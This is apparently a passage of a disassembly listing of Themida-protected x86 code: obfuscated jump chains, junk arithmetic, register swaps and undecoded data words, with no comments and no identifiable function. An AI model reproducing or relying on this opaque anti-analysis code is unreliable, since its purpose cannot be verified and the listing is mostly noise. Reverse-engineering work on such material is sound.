		dd 3066h, 54243489h, 5E2434FFh,	5304C483h, 4BBh, 2FE95700h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546B2B:				; CODE XREF: Themida_:00549AC8j
		pop	eax
		push	ebx
		mov	ebx, 516115A7h
		shl	ebx, 7
		xor	ebx, 9943F933h
		add	eax, ebx
		pop	ebx
		or	eax, eax
		jnz	loc_542E62
		push	esi
		mov	esi, 10573FBCh
		mov	edx, 5D36657Fh
		jmp	loc_549A34
; ---------------------------------------------------------------------------
		dw 69B6h
		dd 8003EEC0h, 0CEFEBAE6h, 507BE9h, 24048300h, 0C1815904h
		dd 4, 44FEE9h, 81D2F700h, 236D4EC2h, 0C0EA8121h, 68B4E3DDh
		dd 6F0Bh, 1EB2E9h
		db 0
; ---------------------------------------------------------------------------


loc_546B8D:				; CODE XREF: Themida_:00541D4Cj
		neg	dword ptr [esp]
		pop	ecx
		inc	ecx
		add	ecx, 24471823h
		add	ebp, ecx
		pop	ecx
		jmp	loc_543D10
; ---------------------------------------------------------------------------


loc_546BA0:				; CODE XREF: Themida_:00548F28j
		push	ecx
		mov	ecx, 8F96AFCh
		jmp	loc_543E5B
; ---------------------------------------------------------------------------
		db 57h
		dd 2C4C6DBFh, 4FD7F773h, 0FFE37DE9h, 0C8E981FFh, 81622666h
		dd 6A6AF0E1h, 0E4C1814Bh, 81BCB7DFh, 936D58C2h,	0BBF7E936h
		dd 0C89FFFFh, 40C36824h, 0C8B359Fh, 4C48324h, 0FFB32EE9h
		dd 3850B8FFh, 0F801D8B9h, 67E9485Fh
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546BF7:				; CODE XREF: Themida_:005487E3j
		mov	edx, edi
		pop	edi
		jmp	loc_5433E3
; ---------------------------------------------------------------------------
		db 5Ch
		dd 9CC83B66h, 0FFB57DE9h, 0D5E951FFh
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_546C0F:				; CODE XREF: Themida_:0054D568j
		or	ebp, 75B26290h
		add	ebp, 4D8429FCh
		jmp	loc_54A466
; ---------------------------------------------------------------------------
		dd 16F6815Eh, 8167CA57h, 9A73ECF6h, 8BF0015Eh, 89532434h
		dd 4C381E3h, 83000000h,	0E95304C3h, 0FFFFBB60h,	3B4DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546C4A:				; CODE XREF: Themida_:00546584j
		push	ebp
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	4ED74316h
		jmp	loc_54D73A
; ---------------------------------------------------------------------------
		dd 5FF18149h, 0E927C950h, 774h
; ---------------------------------------------------------------------------


loc_546C68:				; CODE XREF: Themida_:0054D5F7j
		pop	ebx
		not	eax
		jmp	loc_54A8D5
; ---------------------------------------------------------------------------
		dd 24048B66h, 68E08950h, 141Ah,	0B9240C89h, 7FC7724h, 28A8E9h
		dd 0C8B6600h, 0EC815724h, 4, 24048F54h,	4240483h, 0FFD7D5E9h
		dd 0C8B66FFh, 2C48124h,	0E9000000h, 0FFFFF429h,	5004C483h
		dd 4B8h, 58C60100h, 2474FF56h, 0DCF5E904h, 0E3C1FFFFh
		dd 86EB8104h, 4302C64Bh, 0E903E3C1h, 0FFFFECFEh
; ---------------------------------------------------------------------------


loc_546CD8:				; CODE XREF: Themida_:005449D4j
		mov	[esp], eax
		xor	[esp], edx
		xor	edx, [esp]
		xor	[esp], edx
		sub	esp, 4
		mov	[esp], edx
		not	dword ptr [esp]
		jmp	loc_5471CF
; ---------------------------------------------------------------------------
		dw 814Fh
		dd 9AC5D7F7h, 0E9F92187h, 2584h, 875EF701h, 248B243Ch
		dd 0E3895324h, 58B6E9h,	2474FF00h, 2434FF04h, 4C4835Bh
		dd 5E0CE9h, 0E9585B00h,	4B4Bh, 0E9028F66h, 0FFFFA648h
		dd 7914B5BFh, 5FFD897Bh, 0FFAFA1E9h, 87E95DFFh,	81FFFFEBh
		dd 9920B3C3h, 0BEB813Ah, 8334B345h, 0C8904ECh, 20685524h
		dd 5D2DCD06h, 0D5F74D45h, 0FFC18BE9h, 0F7D8F7FFh, 0D7BB53D8h
		dd 0E90A5562h, 68ECh
; ---------------------------------------------------------------------------


loc_546D74:				; CODE XREF: Themida_:0054A62Cj
		pop	ebx
		jmp	loc_54AE92
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 82E92404h, 1000060h,	0F4C281C2h, 8B266111h, 0C4812404h
		dd 4, 5C241487h, 4C581h, 7EE90000h, 1000024h, 77EB81CBh
		dd 510D3B67h, 130D5EB9h, 0E9CB0104h, 274h, 0C781E789h
		dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 34FFFB29h
		dd 5E82E924h, 9BBB0000h, 81253159h, 744311EBh, 5BDD21F3h
		dd 446CED81h, 0E8319E9Eh, 0FBC2815Dh, 139FE5Ch,	0C18CE9C2h
		dd 0BB53FFFFh, 625E7985h, 0FFCEE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546E09:				; CODE XREF: Themida_:0054AA5Bj
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0CEh
		sub	bl, al
		pop	eax
		add	bl, al
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	bl, 0CEh
		mov	ah, bl
		mov	ebx, [esp]
		add	esp, 4
		add	bl, 9Ch
		sub	bl, 96h
		add	bl, ah
		push	edx
		mov	dl, 2Eh
		inc	dl
		jmp	loc_544EA3
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 7Bh
		dd 35645A28h, 319A627Dh, 0C158C389h, 0D3F703E3h, 0FFE961E9h
		dd 5EF229FFh, 66EBE9h, 0C6815E00h, 4, 4BF57h, 0FE010000h
		dd 0FFD469E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_546E75:				; CODE XREF: Themida_:00548D13j
		mov	ecx, 4
		jmp	loc_5499DC
; ---------------------------------------------------------------------------


loc_546E7F:				; CODE XREF: Themida_:0054C236j
		pop	esp
		and	ebx, esi
		jmp	loc_549B98
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFBE3Ah
; ---------------------------------------------------------------------------


loc_546E90:				; CODE XREF: Themida_:00543495j
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 659C4F49h
		pop	eax
		jmp	loc_548D88
; ---------------------------------------------------------------------------
		db 52h
		dd 83242C8Bh, 148B04C4h, 4C48124h, 81000000h, 0DE0191E5h
		dd 36AEE963h, 0C2810000h, 5A664B13h, 7749B951h,	0E98353BFh
		dd 0E9E9D1FFh, 0EE9h, 9FE951B7h, 83FFFFACh, 0F16804C4h
		dd 8900002Dh, 76B5240Ch, 2FE9C5FEh, 100000Fh, 5D04246Ch
		dd 1B242C81h, 0E938FB68h, 0FFFFA478h
; ---------------------------------------------------------------------------


loc_546F00:				; CODE XREF: Themida_:00544BE6j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	4460h
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_547E58
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 80FE000Eh, 2C5B0EEEh, 4F02894h, 0EB805A94h, 0EEEB809Bh
		dd 5FE9C300h, 57000045h, 7E3160BFh, 3DE94F2Ah
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_546F43:				; CODE XREF: Themida_:0054C351j
		add	edx, edi
		pop	edi
		sub	ebp, 2449254Fh
		add	ebp, edx
		add	ebp, 2449254Fh
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_543494
; ---------------------------------------------------------------------------
		db 21h,	0E9h, 0FFh
		dd 2C8B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_543846
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 0C1h
		dd 0F738580Bh, 1F23E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_546F8A:				; CODE XREF: Themida_:0054A31Dj
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5428D9
; ---------------------------------------------------------------------------


loc_546F98:				; CODE XREF: Themida_:0054D85Aj
		push	edx
		push	esp
		pop	edx
		push	41EBh
		mov	[esp], eax
		mov	eax, 4
		sub	edx, 620D2272h
		add	edx, eax
		add	edx, 620D2272h
		pop	eax
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_542BC6
; ---------------------------------------------------------------------------
		db 5Ch
		dd 34FFD830h, 0C4815B24h, 4, 2EC81h, 89660000h,	0E950240Ch
		dd 0FFFFD892h, 24048966h, 0FFA387E9h, 7EC805FFh, 0D02971FBh
		dd 0FB7EC82Dh, 1A70E971h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547002:				; CODE XREF: Themida_:0054CF85j
		push	222Ch
		mov	[esp], esi
		jmp	loc_543771
; ---------------------------------------------------------------------------
		db 5
		dd 4, 8A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_547019:				; CODE XREF: Themida_:0054137Bj
		push	46DFh
		jmp	loc_541A6F
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0E9CFFEE8h, 5B1Ah, 0EB815959h, 2, 0C530E953h, 148BFFFFh
		dd 0E6895624h, 4C681h, 0E0E90000h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54704B:				; CODE XREF: Themida_:0054B573j
		push	ebp
		push	21C56577h
		jmp	loc_5427AE
; ---------------------------------------------------------------------------


loc_547056:				; CODE XREF: Themida_:0054B3D7j
		sub	edx, 64FD70EBh
		push	ecx
		mov	ecx, 5A184A8Dh
		jmp	loc_542C19
; ---------------------------------------------------------------------------


loc_547067:				; CODE XREF: Themida_:0054C4CBj
		add	eax, edi
		sub	eax, 707E1508h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_548B93
; ---------------------------------------------------------------------------
		db 58h,	1, 0D7h
		dd 5A2434FFh, 4C481h, 0C7810000h, 2, 2474FF57h,	48F5F04h
		dd 8B665C24h, 54E9240Ch, 50000069h, 405E089h, 0E9000000h
		dd 0FFFFC731h, 4EC81h, 3C890000h, 0D712E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5470BA:				; CODE XREF: Themida_:0054A4F7j
		mov	eax, 63B112EFh
		or	eax, 78582AF8h
		push	edx
		mov	edx, 16AC3B73h
		push	ebp
		mov	ebp, 13EE3293h
		jmp	loc_54C969
; ---------------------------------------------------------------------------


loc_5470D5:				; CODE XREF: Themida_:005434F6j
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		imul	cx
		jmp	loc_54AD06
; ---------------------------------------------------------------------------
aSd		db '^éd',7,0
		align 10h
		dd 400EF381h, 0DD894298h, 0FFB2CEE9h, 4C483FFh,	0E977E951h
		dd 0D829FFFFh, 8B2434FFh, 0C483241Ch, 5F545704h, 4C781h
		dd 0BE560000h, 4, 0FFFBDBE9h, 0C8B66FFh, 0DA86824h, 34890000h
		dd 685E5424h, 240Ch, 53240489h,	0B823FEBBh, 0AED0E96Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547146:				; CODE XREF: Themida_:005493E7j
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_5484CF
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 4
		dd 0CFF564Eh, 31FE924h,	89570000h, 4C781E7h, 83000000h
		dd 3C8704C7h, 0EC815C24h, 4, 0FFA870E9h, 787E68FFh, 4890000h
		dd 24148724h, 59D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_547189:				; CODE XREF: Themida_:00541466j
		sub	ecx, 7BA0B4Ah
		jmp	loc_54ADDC
; ---------------------------------------------------------------------------
		dd 24048B66h, 815F5457h, 4C7h, 0BB535000h, 17833E98h, 833E9AB8h
		dd 0FFD83117h
		db 34h,	24h, 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54C842
; ---------------------------------------------------------------------------
aZ4Sag		db '‡4$é€G',0
		db 0
; ---------------------------------------------------------------------------


loc_5471CF:				; CODE XREF: Themida_:00546CEDj
		pop	edx
		xchg	edx, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54C436
; ---------------------------------------------------------------------------
aFpPiFxsARauUAi	db 'fP°pˆÂfXS³´€Ãà€ã',8,'Àã',8,'€ëG',0
aSN		db 'ÚéÃN',0
		align 4
		dd 7587EB81h, 0C32962F3h, 7587C381h, 0B95162F3h, 0EF43826h
		dd 457E9h, 0E0C16600h, 60D6606h, 4B2D6627h, 23F2E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_547226:				; CODE XREF: Themida_:0054320Bj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_541378
; ---------------------------------------------------------------------------
		db 83h
		dd 2EE904ECh, 81FFFFA4h, 4C4h, 5BDF0100h, 0E902C783h, 2219h
		dd 0F747CF87h, 3BCE9D7h, 77FF0000h, 59669D1Ch, 9C2414D2h
		dd 0FFA10FE9h, 0E5CA81FFh, 4A63747Ah, 8101EA83h, 0E6B8A4C2h
		dd 0A1BE560Ch, 945B56Ch, 0EAE95EF2h, 0D1FFFFD7h, 64F281EAh
		dd 174B3F0h, 0ADE95AD6h, 3100002Dh, 0A6E7E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54729E:				; CODE XREF: Themida_:0054B1FEj
		add	edx, ebx
		push	ebx
		mov	ebx, 0
		jmp	loc_54325F
; ---------------------------------------------------------------------------
		db 58h
		dd 0FFEF34E9h, 8BCF01FFh, 0E953240Ch, 0FFFFAD44h, 0FFA0B7E9h
		dd 3CE95FFFh, 0D1000042h, 590868E2h, 2C890000h,	57E58924h
		dd 0FFC0B4E9h, 243481FFh, 52D5485Eh, 5324048Bh,	0C381E389h
		dd 4, 0E904C383h, 5291h, 0D2F7D2F7h, 7092BB53h,	0DA091755h
		dd 81DAF75Bh, 8C9E27EAh, 0EEE9E9E5h, 3489FFFFh,	0A52BBE24h
		dd 0CF2D456Eh, 293FC63Dh, 0CFB951F0h, 53FC63Dh,	0AE5647Ch
		dd 105E9h, 5BF83000h, 4EC81h, 0F6E90000h, 5B00000Bh, 81E28952h
		dd 4C2h, 4EA8300h, 5C241487h, 0BD242C89h, 2, 6934C781h
		dd 0EF291D65h, 6934EF81h, 35E91D65h, 5600001Eh,	39D7B850h
		dd 0C6892181h, 5EF53158h, 64CEE581h, 0C5316DB5h, 2B17E9h
		db 0
; ---------------------------------------------------------------------------


loc_547381:				; CODE XREF: Themida_:0054B435j
		add	eax, 1
		push	edx
		mov	edx, 4FA18ADh
		jmp	loc_547DB3
; ---------------------------------------------------------------------------


loc_547391:				; CODE XREF: Themida_:0054AD47j
		push	4C0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		mov	edi, 1BFB1548h
		or	edi, 4C730067h
		shr	edi, 5
		add	edi, 0FD002759h
		add	ebx, edi
		mov	edi, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_543E3F
; ---------------------------------------------------------------------------
		dd 0E959CA01h, 0FFFFADA7h, 1E45E940h, 63680000h, 0E900007Ch
		dd 5E1Dh, 4EC81h, 14890000h, 2D685724h,	8B7AFF57h, 54E9243Ch
		dd 83FFFFE5h, 0FF5204C2h, 5A042474h, 5C24048Fh,	0E90AE8C1h
		dd 5A0Eh
; ---------------------------------------------------------------------------


loc_547420:				; CODE XREF: Themida_:0054A438j
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544012
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 647CBE56h, 0F0290AE5h, 4533E95Eh, 4310000h, 2DE99C24h
		dd 0BAFFFF9Fh, 6E253C3Ah, 525AD321h, 5330E9h, 5C5BB800h
		dd 0F7405F8Ah, 285D2DD0h, 0F3E97F3Eh, 29FFFFE9h, 0E9F089C6h
		dd 0AE1h
; ---------------------------------------------------------------------------


loc_547474:				; CODE XREF: Themida_:0054791Fj
		pop	eax
		mov	ebx, [esp]
		jmp	loc_548A18
; ---------------------------------------------------------------------------
aSk6		db '^éª6',0
		dw 8300h
		dd 0C06804C4h, 0E900007Fh, 0FFFFE09Ah, 0FF9EE3E9h, 54E781FFh
		dd 0C1360413h, 0E94F02EFh, 0FFFFB1F2h, 0D964EC2Dh, 50D8F73Ch
		dd 582414F7h, 0AA9B8F2Dh, 58C301B5h, 0FFF509E9h, 0BAE956FFh
		dd 0F7FFFFD6h, 5CB81D3h, 812FDC28h, 4A7D1DE3h, 0EB814357h
		dd 553F65E7h, 0D32BF381h, 0DD89B208h, 0FFA815E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5474E5:				; CODE XREF: Themida_:00549377j
		pop	dword ptr [esp]
		jmp	loc_5493D2
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 37h
		dd 2922F265h, 0C8B5BD8h, 4C48324h, 3726E956h, 874F0000h
		dd 575DE9FDh, 4BB0000h,	81000000h, 52D66C6h, 2BEE8107h
		dd 0E973BE33h, 0FFFFE7DFh, 0CB8BE95Bh, 8B66FFFFh, 89562404h
		dd 0E95350E6h, 0FFFFA2E1h, 0BE04C483h, 0DB2E5660h, 2959CE29h
		dd 2434FFF0h, 0A259E95Eh, 0E688FFFFh, 31A0E958h, 4810000h
		dd 424h, 24048F00h, 4EC81h, 1FE90000h, 81000013h, 0E76952EBh
		dd 52DBF72Fh, 0FFFED6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547575:				; CODE XREF: Themida_:0054A16Dj
		pop	eax
		or	ebx, 45453B2Bh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 736024D4h
		add	ebx, ecx
		jmp	loc_541BAF
; ---------------------------------------------------------------------------
		db 66h,	68h, 67h
		dd 1C896604h, 0F6F38824h, 0E95150D3h, 5598h
; ---------------------------------------------------------------------------


loc_5475A4:				; CODE XREF: Themida_:00544018j
		mov	[esp], ecx
		push	ebx
		push	3C0B52E8h
		jmp	loc_5482B1
; ---------------------------------------------------------------------------
		dw 0FA01h
		dd 242C8150h, 79203564h, 281028Fh, 79203564h, 6824148Bh
		dd 5C0h, 89243C89h, 4C781E7h, 50000000h, 4B8h, 58C70100h
		dd 5C243C87h, 0E924048Bh, 38D4h, 1F72E181h, 0C1813D3Dh
		dd 0D955394Dh, 159CE31h, 68575EF0h, 2, 2D622D5Fh, 0F8015081h
		dd 812D6205h, 0D08AE950h, 0F781FFFFh, 20002146h, 520AE9h
		dd 75BD5500h, 148C84Ch,	0C3815DEBh, 14F11DCEh, 7EE95155h
		dd 0AC00004Ah, 0EC816704h, 2, 24148966h, 0C204B1B2h, 0E9E9D000h
		dd 57FFFFE0h, 2976E9h
		db 0
; ---------------------------------------------------------------------------


loc_547655:				; CODE XREF: Themida_:0054D386j
		push	468Fh
		mov	[esp], ebx
		push	esi
		mov	esi, 4A456498h
		xor	[esp+4], esi
		jmp	loc_547AAA
; ---------------------------------------------------------------------------
		dd 8159CB29h, 0D93179C3h, 91685111h, 8900000Eh,	8B682414h
		dd 5A57AE47h, 0FF9FC8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547689:				; CODE XREF: Themida_:00545A42j
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebp, 6EEC4582h
		jmp	loc_545CB2
; ---------------------------------------------------------------------------


loc_54769D:				; CODE XREF: Themida_:0054664Dj
		sub	ebp, edi
		pop	edi
		mov	edx, ebp
		pop	ebp
		jmp	loc_54AFF2
; ---------------------------------------------------------------------------


loc_5476A8:				; CODE XREF: Themida_:0054471Dj
		add	esp, 4
		push	ecx
		jmp	loc_542DAD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 1000000h, 0F1BF57C8h, 0F74B5C08h, 0D3C6E9DFh, 2C31FFFFh
		dd 242C3324h, 0F1F7665Ch, 4DE168h, 240C8900h, 0C181E189h
		dd 4, 4EC81h, 2C890000h, 31E95124h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5476EF:				; CODE XREF: Themida_:0054D827j
		shr	eax, 18h
		xor	eax, ecx
		push	eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		push	edi
		push	ebp
		pop	edi
		jmp	loc_548C77
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 24248B24h, 9C2424D2h, 0FF9C63E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_547715:				; CODE XREF: Themida_:00549901j
		shl	ebx, 3
		xor	ebx, 7777A4FBh
		mov	edx, ebx
		pop	ebx
		inc	edx
		jmp	loc_54B9F2
; ---------------------------------------------------------------------------
		db 31h
		dd 2C33242Ch, 34895C24h, 0FFFFBE24h, 7729FFFFh,	2434FF24h
		dd 0E924348Bh, 0C89h, 0E9241489h, 0FFFFB16Dh, 0BD55505Ah
		dd 11783CE4h, 9ECD8145h, 810E636Ch, 0A72640E5h,	81D5F720h
		dd 0BA87E7C5h, 0EE895655h, 348BF089h, 4C48124h,	0E9000000h
		dd 5708h
; ---------------------------------------------------------------------------


loc_54777C:				; CODE XREF: Themida_:0054C0B0j
		pop	dword ptr [edi+24h]
		push	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_541D8A
; ---------------------------------------------------------------------------
		dd 300D04BEh, 0E3E6817Bh, 0E942BF1Bh, 4F60h, 5C241C87h
		dd 8904EC83h, 0A5B9240Ch, 494FEF21h, 595EE981h,	0D1F71611h
		dd 37B5E981h, 0CB01C622h, 0FA69E959h, 0AFB8FFFFh, 0C119D368h
		dd 913502E0h, 0D62932Eh, 207433F4h, 4806E8C1h, 15ADE9h
		dd 0E9515800h, 3779h, 62E9EB81h, 0CB017338h, 62E9C381h
		dd 0C8B7338h, 4C48324h,	7D45BE56h, 0CAE90592h, 1FFFFD4h
		dd 362C68C7h, 0C890000h, 4D3EB924h, 0CF0123F9h,	3C335859h
		dd 243C3124h, 5C243C33h, 6824048Bh, 0B49h, 0E9243489h
		dd 0FFFFB91Ch, 57FCB850h, 0C7895CCCh, 5FF83158h, 0B2B95153h
		dd 0E965DB5Ah, 1264h, 18EBE281h, 0C2816967h, 0DEDD0001h
		dd 0FFCE33E9h, 4EC81FFh, 0E9000000h, 0FFFFE35Fh
; ---------------------------------------------------------------------------


loc_547870:				; CODE XREF: Themida_:00542E6Bj
		push	edi
		push	ebx
		mov	ebx, 561B7856h
		jmp	loc_543DF2
; ---------------------------------------------------------------------------
		dd offset dword_49005C+0C224h
		dd 0F9005AD7h, 3D23E9h,	0B3EB8100h, 293A9920h, 0F4ADE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_547896:				; CODE XREF: Themida_:0054945Ej
		mov	eax, 3B94243Dh
		jmp	loc_544AA7
; ---------------------------------------------------------------------------
		dd 0DCBD555Bh, 0F74DF02Bh, 0DEC581DDh, 814DF02Bh, 0B440C8C6h
		dd 0E9EE0115h, 0FFFFF1C0h, 7D0668h, 240C8900h, 4B9h, 675C0500h
		dd 0C8017B1Eh, 1E675C2Dh, 240C8B7Bh, 5004C483h,	42474FFh
		dd 24048F58h, 136FE9h, 240C8B00h, 104C483h, 0C6835BDEh
		dd 24348704h, 0FFC211E9h, 0E9585EFFh, 0FFFFE56Dh, 0C3E95366h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54790B:				; CODE XREF: Themida_:005481F6j
		push	edx
		mov	dh, bl
		mov	al, dh
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, al
		mov	dl, bl
		pop	ebx
		jmp	loc_547474
; ---------------------------------------------------------------------------
		dd 6413B951h, 0CB8957C5h, 47C9E959h, 4CBE0000h,	52657C44h
		dd 0FF9B2EE9h, 0C8B66FFh, 8B545324h, 58E9241Ch,	8B00005Bh
		dd 0C481240Ch, 4, 335BDA01h, 40E92414h,	31FFFFE6h, 5E6C1D6h
		dd 0D8E7C681h, 0A1E9456Ch, 5200004Eh, 2E34BD55h, 0C5E92E47h
		dd 68000053h, 0
aSB		db '),$éÜB',0
		align 4
		dd 0E9870459h, 0FFFFBEBCh, 8904EC83h, 0E9552434h, 3D08h
		dd 295AD001h, 40F22DD8h, 0BB5324CEh, 26E60B7Ah,	81FFEB83h
		dd 8868D7C3h, 92E9574Dh
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5479BB:				; CODE XREF: Themida_:00548D91j
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2C6C5189h
		not	edx
		push	ebx
		mov	ebx, 78E83584h
		shl	ebx, 3
		shl	ebx, 5
		shl	ebx, 2
		sub	ebx, 172BAB9Ah
		add	edx, 775937A5h
		sub	edx, ebx
		sub	edx, 775937A5h
		pop	ebx
		push	edx
		jmp	loc_545AA5
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0D6C78100h, 0E9599463h, 0FFFFFDE5h, 4247C01h
		dd 81008F5Fh, 0B36A7028h, 9962E93Ch, 34FFFFFFh,	0C4835A24h
		dd 4C28104h, 83000000h,	3C8904ECh, 0FFE95524h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_547A2F:				; CODE XREF: Themida_:005451E9j
		and	ah, 7Dh
		not	ah
		sub	esp, 4
		jmp	loc_5461DB
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2C58100h, 87000000h, 248B242Ch, 89666424h, 991EE902h
		dd 0F9BFFFFFh, 812A6868h, 3027B0E7h, 5EFC10Fh, 31D3EF81h
		dd 0D7F74145h, 7A9DF781h, 0FE014F86h, 81243C8Bh, 4C4h
		dd 81DE0100h, 724A50EEh, 0C6835B0Fh, 24348704h,	8B24248Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54D5C7
; ---------------------------------------------------------------------------


loc_547AAA:				; CODE XREF: Themida_:00547667j
		pop	esi
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_545EFD
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 5D23F4BAh, 81DAF73Fh, 0A2DC0AEAh, 65ED81C0h,	125B954h
		dd 65C581D5h, 5A25B954h, 8B242C87h, 0FF662424h,	0E99C2404h
		dd 0FFFF988Ch, 650AEE81h, 685941D7h, 389Eh, 0BA241489h
		dd 100F52DFh, 0CE9D601h, 54FFFFE7h, 5024048Fh, 4B8h, 24440100h
		dd 24048B04h, 4C481h, 3C8B0000h, 5A545224h, 4C281h, 8EE90000h
		dd 0BB000034h, 339841B4h, 0FFF9B4E9h, 2EFC1FFh,	0FFBA3DE9h
		dd 242489FFh, 4240483h,	43A8E9h, 10C68100h, 1048E8Ah, 0C5815EF5h
		dd 4, 5C242C87h, 0A7BA5259h, 81688C56h,	0BA1AA0C3h, 81D3297Ah
		dd 0BA1AA0EBh, 24148B7Ah, 1735E951h, 0A2B90000h, 81240370h
		dd 5C7E4CE1h, 4DC9812Fh, 8129E818h, 0E904A8F1h,	81E9D122h
		dd 0D48BD5F1h, 0EDE95017h, 34000042h, 0C0D8F6AEh, 3C2C08E8h
		dd 0C3885366h, 0D888CBFEh, 53D8E9h, 24048700h, 241C895Ch
		dd 0E950E389h, 0FFFFD2A5h
; ---------------------------------------------------------------------------


loc_547BC8:				; CODE XREF: Themida_:00548862j
		mov	[esp], ecx
		jmp	loc_548CFB
; ---------------------------------------------------------------------------


loc_547BD0:				; CODE XREF: Themida_:0054541Dj
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_54216C
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 0E9000000h, 3B05h
; ---------------------------------------------------------------------------


loc_547BE4:				; CODE XREF: Themida_:00543BA1j
		shr	edx, 1
		and	edx, 4772163Bh
		xor	edx, 21C31F07h
		push	edx
		sub	dword ptr [esp], 0FFE2A1Fh
		mov	eax, [esp]
		jmp	loc_543C7E
; ---------------------------------------------------------------------------
		dw 0E7C0h
		dd 0B182E902h, 7401FFFFh, 348B0424h, 4C48124h, 50000000h
		dd 716907B8h, 2444813Ch, 8D623604h, 24448110h, 0B31ECF04h
		dd 2444012Eh, 246C8104h, 0B31ECF04h, 246C812Eh,	8D623604h
		dd 4015810h, 0D075E924h, 5358FFFFh, 271ED3BBh, 1CF75318h
		dd 0C3815B24h, 18271ED7h, 55BD801h, 4, 0E9240433h, 0FFFFD12Bh
		dd 0D224248Bh, 0E99C2424h, 0FFFF9700h, 54AE68h,	24348900h
		dd 0FFBCFCE9h, 0D830ACFFh, 7B7768h, 241C8900h, 4EC81h
		dd 14890000h, 0E980B624h, 0DA7h, 0C41E92BDh, 4EC8164h
		dd 89000000h, 7CBA2414h, 810AAC76h, 0BA2588CAh,	0A9CA811Ch
		dd 812DB962h, 408803C2h, 52EA29C0h, 24148B5Dh, 0D01DE952h
		dd 0E42DFFFFh, 2952AF1Ch, 7B0E9C2h, 0D8F70000h,	183F7B35h
		dd 76272D7Fh, 28052EA5h, 0E970C3DFh, 45E0h, 241C8753h
